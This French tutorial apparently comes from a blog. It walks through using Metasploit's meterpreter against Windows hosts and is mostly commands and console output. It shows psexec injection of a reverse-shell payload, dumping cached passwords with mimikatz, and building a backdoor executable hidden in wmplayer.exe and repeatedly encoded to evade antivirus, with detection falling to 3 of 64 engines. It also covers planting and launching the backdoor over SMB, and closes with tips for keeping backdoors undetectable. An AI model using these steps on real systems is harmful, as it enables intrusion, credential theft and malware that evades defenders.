“meterpreter
” est une petite suite de commandes qui vient avec le “framework” “metasploit
”, et qui permet de “mettre à l'épreuve” la sécurité des postes et des serveurs.
L'utilisation de ces commandes est possible soit après une intrusion par le biais de vulnérabilité (comme "MS17-010"), soit par le biais d'une “porte dérobé” , une “backdoor”.
Ici, nous allons montrer d'abord un usage classique de “meterpreter
” à partir d'identifiants “Windows” valides: Il va de soit que plus les identifiants ont des droits élevés, plus “meterpreter
” sera en mesure d'extirper des informations sensibles.
Et puis, nous verrons comment esquiver la quasi-totalité des logiciels “Antivirus”, car lorsqu'ils sont présent, ils ont la fâcheuse tendance à considérer le service “meterpreter
” comme un vilain malware.
~~READMORE~~
Pour savoir comment installer ce “framework” pour Debian, c'est par ici.
Pour montrer une injection simple de “meterpreter
”, on va utiliser l'exploit “psexec
” .
NOTA: Ce n'est pas vraiment un “exploit” puisque ça n'utilise aucune vulnérabilité ! |
On démarre la console “metasploit
”:
$ msfconsole
On charge l'“exploit” “psexec
”:
msf > use exploit/windows/smb/psexec msf exploit(psexec) >
On lui associe le “payload
” “meterpreter
”:
msf exploit(psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(psexec) >
Définir notre adresse et notre port d'écoute:
msf exploit(psexec) > set LHOST 192.168.0.8 msf exploit(psexec) > set LPORT 4444
Définir l'adresse de la cible:
msf exploit(psexec) > set RHOST 192.168.0.23
L'identifiant pour se connecter sur la cible:
msf exploit(psexec) > set SMBDomain . msf exploit(psexec) > set SMBUser Administrateur msf exploit(psexec) > set SMBPass <PASSWORD>
Ce qui donne par exemple:
msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.23 yes The target address RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass <PASSWORD> no The password for the specified username SMBUser Administrateur no The username to authenticate as Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.8 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) >
Nous voilà prêt, alors go:
msf exploit(psexec) > exploit [*] Started reverse TCP handler on 192.168.0.8:4444 [*] 192.168.0.23:445 - Connecting to the server... [*] 192.168.0.23:445 - Authenticating to 192.168.0.23:445 as user 'Administrateur'... [*] 192.168.0.23:445 - Selecting PowerShell target [*] 192.168.0.23:445 - Executing the payload... [+] 192.168.0.23:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (1188415 bytes) to 192.168.0.23 [*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.23:56350) at 2017-08-03 23:20:23 +0200 meterpreter >
Voila, notre service “meterpreter
” est en fonctionnement sur la cible.
Vérifions juste que nous avons bien les droits “Administrateur”:
meterpreter > getuid Server username: AUTORITE NT\Syste meterpreter >
Quelques infos sur la cible atteinte:
meterpreter > sysinfo Computer : Victime_PC OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : ILIAD Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Faisons un petit “dump” des identifiants en mémoire:
meterpreter > load mimikatz Loading extension mimikatz...Success. meterpreter > meterpreter > mimikatz_command -f sekurlsa::wdigest "0;9823712","Kerberos","Tonton","Victime_PC","<PASSWORD>" "0;229364","Kerberos","thierry","Victime_PC","<PASSWORD>" ... snip ... meterpreter >
Etc… voir les nombreuses possibilités offertes par ce “service”.
En pratique, l'injection du service “meterpreter
” via l'exploit “psexec
” fonctionne bien tant qu'aucun service “Antivirus” ne vient nous arrêter.
Sinon, vous avez des erreurs comme ça (extrait):
... [-] 192.168.0.22:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) >
On peut essayé d'arrêter le service “antivirus”, mais même avec les droits “Administrateurs”, ce n'est pas toujours possible (service “NOT_STOPPABLE”).
Exemple d'une tentative a distance:
$ net rpc service stop avp -U.\\Administrateur%'<PASSWORD>' -S 192.168.0.22 Control service request failed. [WERR_INVALID_SERVICE_CONTROL]
La méthode que je vais utiliser pour échapper aux services “Antivirus”, consiste simplement à camoufler notre “backdoor
” par de multiple encodages.
J'ai vu que c'était théoriquement possible sans quitter la console “metasploit
”, mais tout mes essais ont échoués…
Donc, je me suis rabattu avec succès sur une solution plus classique, avec la “backdoor
” planqué dans un “.exe
” Windows…
Sans aucun camouflage et en reprennant les paramètres du chapitre “psexec
”, voici comment créer notre “backdoor
” en “.exe
”.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -f exe > backdoor.exe
Un petit tour sur www.virustotal.com nous montre que notre service est détectable par 38 services “Antivirus” sur 64 testés.
On recherche un “.exe” parfaitement fonctionnelle et ordinaire dans lequel on pourrait cacher notre “backdoor”.
Il s'est avéré que l’exécutable “wmplayer.exe
” présent dans l'environnement “wine
” répond parfaitement a nos besoins.
Mais libre à vous de choisir un autre “.exe”, par exemple “notepad.exe
” de © Micro$oft .
Il faudra toutefois qu'il réponde aux critères suivant:
$ file wmplayer.exe wmplayer.exe: PE32+ executable (GUI) x86-64, for MS Windows
Avec cette “template”, on ré-génère notre “backdoor”:
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -x wmplayer.exe -f exe > backdoor.exe
Un nouveau test sur www.virustotal.com , et cette fois nous sommes détectable par seulement 10 services “Antivirus” sur 64 .
Mais on va essayé d'ajouter un peu d'encodage pour réduire encore notre surface détectable.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -e x64/zutto_dekiru -b 'x00x01x0dxfe' -i 4 -x wmplayer.exe -f exe > backdoor.exe
Il faut insister plusieurs fois avant d'obtenir un “.exe” sans erreur, et puis on arrive a générer une “backdoor” détectable par seulement 3 services “Antivirus” sur 64 !
Donc , nous avons notre “backdoor” de prête, mais il faut pouvoir:
meterpreter
” dans “metasploit
” en attente de connexion.
Démarrer la console “metasploit
”:
$ msfconsole
Configurer notre mise en attente d'une connexion de la “backdoor” “meterpreter”:
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.0.8 LHOST => 192.168.0.8 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) >
Maintenant, nous démarrons l'attente:
msf exploit(handler) > exploit [*] Exploit running as background job 0. msf exploit(handler) > [*] Started reverse TCP handler on 192.168.0.8:4444 msf exploit(handler) >
Le “job” est là:
msf exploit(handler) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.0.8:4444 msf exploit(handler) >
Plusieurs manière de procéder.
La manière la plus simple, c'est avec “psexec.py
”.
Télécharger le script python:
$ wget https://raw.githubusercontent.com/CoreSecurity/impacket/impacket_0_9_13/examples/psexec.py
Et puis se connecter à la cible:
$ python psexec.py Administrateur:<PASSWORD>@192.168.0.22 Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies [*] Requesting shares on 192.168.0.22..... [*] Found writable share ADMIN$ [*] Uploading file vZFbuVNH.exe [*] Opening SVCManager on 192.168.0.22..... [*] Creating service zFeO on 192.168.0.22..... [*] Starting service zFeO..... [!] Press help for extra shell commands Microsoft Windows [version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. Tous droits réservés. C:\Windows\system32>
Maintenant, on peut télécharger notre “backdoor” (qu'on suppose dans notre répertoire courant):
C:\Windows\system32>put backdoor.exe system32 [*] Uploading backdoor.exe to ADMIN$\system32 C:\Windows\system32>
Et puis on la démarre:
C:\Windows\system32>backdoor.exe C:\Windows\system32>
La “backdoor” étant démarré, si tout va bien, du côté de “metasploit
” on voit ça:
[*] Sending stage (194623 bytes) to 192.168.0.22 [*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.22:59947) at 2017-09-03 08:45:17 +0200 [+] negotiating tlv encryption [+] negotiated tlv encryption [+] negotiated tlv encryption msf exploit(handler) >
On peut entrer dans la session:
msf exploit(handler) > sessions 2 [*] Starting interaction with 2... meterpreter >
Et voila, on y est
Un petit mot quand même sur ce magnifique site qu'est “www.virustotal.com
” :
SI VOUS VOULEZ CRÉER UNE BACKDOOR INDÉTECTABLE, NE LA SOUMETTEZ PAS A VIRUSTOTAL ! |
---|
Ou plutôt:
En effet, il faut savoir que dès que votre “.exe
” est passé à la moulinette de tests de “www.virustotal.com
”, si 1 seul “Antivirus” détecte quoi que ce soit, soyez sur que dans les heures suivantes, d'autres “Antivirus” vont, soudainement, le détecter aussi.
J'imagine qu'il y a soit des traitements de recherche en arrière plan plus long qui s'opèrent, et dont le résultat est connu quelques heures plus tard.
Ou soit, que chaque système “Antivirus” mutualise ses résultats afin que tout les autres en profitent en mettant à jour leurs propres bases de signatures virales.
L'autre truc “marrant”, c'est que les scripts et les “.exe
” soumis via “www.virustotal.com
” sont exécutes en arrière plan dans des machines virtuelles…
Ainsi, concrètement, si vous créez une “backdoor” renvoyant sur votre service “meterpreter
” , vous avez quelques secondes où vous pouvez prendre le contrôle d'une machine virtuelles qui ce trouve à l'autre bout du monde…
J'imagine que les développeurs ont mis en place ce stratagème pour tracer le comportement des logiciels suspects…
Ça serait le comble s'il était possible de mettre au point un virus capable de compromettre une machine virtuelle et puis de se déployer dans les labo des entreprises d'“Antivirus” , jusqu'à compromettre l'ensemble de leurs systèmes… Une sorte d'AlienWare